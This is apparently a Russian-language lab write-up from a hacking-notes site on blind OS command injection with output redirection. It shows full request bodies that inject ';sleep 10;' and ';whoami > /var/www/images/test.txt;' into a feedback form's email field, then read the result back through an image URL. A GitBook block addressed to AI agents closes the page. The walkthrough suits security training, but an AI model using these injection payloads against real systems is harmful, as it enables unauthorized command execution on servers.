> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Слепое внедрение ОС-команд с перенаправлением вывода

### Слепая инъекция команд ОС с перенаправлением вывода

#### Описание лабораторной

* Приложение уязвимо к внедрению системных команд **слепая** в функции обратной связи.
* Данные, введённые пользователем, внедряются в серверную команду оболочки.
* Вывод этой команды \*\*не возвращается\*\* напрямую в HTTP-ответе.
* Однако имеется доступная запись в письменном виде:/ `/var/www/images/`
* Приложение отдаёт изображения каталога, полученные из этого каталога.
* Итак, мы можем **направить вывод** этой команды в файл в этой папке, а затем прочитать этот файл через URL загрузки изображения.

**Цель лабораторной:** Выполнить `whoami` команду и получить её вывод.

```bash
;sleep 10;
```

#### Обнаружение инъекции (задержка по времени)

Используется форма обратной связи. / Поле **email** уязвимо: при внедрении задержки ответ занимает около 10 секунд.

Полезная нагрузка, внедрённая в `email` поле:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

10-секундная задержка подтверждает инъекцию управления.

#### Операция с перенаправлением вывода

Назначение: перенаправить вывод `whoami` в файл в `/var/www/images/`.

Полезная нагрузка, внедрённая в `email` поле:

```
;whoami > /var/www/images/test.txt;
```

Пример тела запроса:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Эта команда создаёт (или перезаписывает) `test.txt` файл в каталоге, доступном через веб.

```bash
/image?filename=test.txt
```

#### Получение результата

Чтобы прочитать вывод `whoami` сохранённый в файле, мы обращаемся к URL, который отдаёт файлы в папке изображений:

<figure><img src="/files/acc342359e054edbda2ad088f716af496c2c6661" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
